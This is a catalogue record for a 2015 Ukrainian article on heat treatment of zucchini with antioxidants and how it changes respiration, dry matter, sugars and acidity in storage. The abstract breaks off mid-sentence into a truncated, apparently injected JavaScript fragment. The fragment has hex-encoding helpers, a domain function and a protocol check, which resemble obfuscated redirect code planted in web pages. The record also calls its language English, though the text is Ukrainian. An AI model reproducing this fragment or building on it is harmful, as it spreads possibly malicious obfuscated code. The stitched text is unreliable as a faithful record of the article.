Вплив теплової обробки антиоксидантами на субстрати дихання кабачків впродовж зберігання

• Main Authors: Олеся Петрівна Прісс, Валентина Василівна Калитка
• Format: Article
• Language: English
• Published: PC Technology Center 2015-11-01
• Series: Tehnologìčnij Audit ta Rezervi Virobnictva
• Subjects: zucchini; storage; antioxidants; respiration rate; dry substances; sugars; standard acid
• Online Access: http://journals.uran.ua/tarp/article/view/56230

Досліджено вплив теплової обробки антиоксидантами на інтенсивність та субстрати дихання кабачків впродовж зберігання. Встановлено, що сумісний вплив теплової обробки і антиоксидантів дозволяє гальмувати інтенсивність дихання, практично вдвічі знижує швидкість витрачання сухих речовин, на 10..12 % розчинних сахаридів, а також інгібує приріст титрованої кислотності на 43…50 %, залежно від гібриду.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e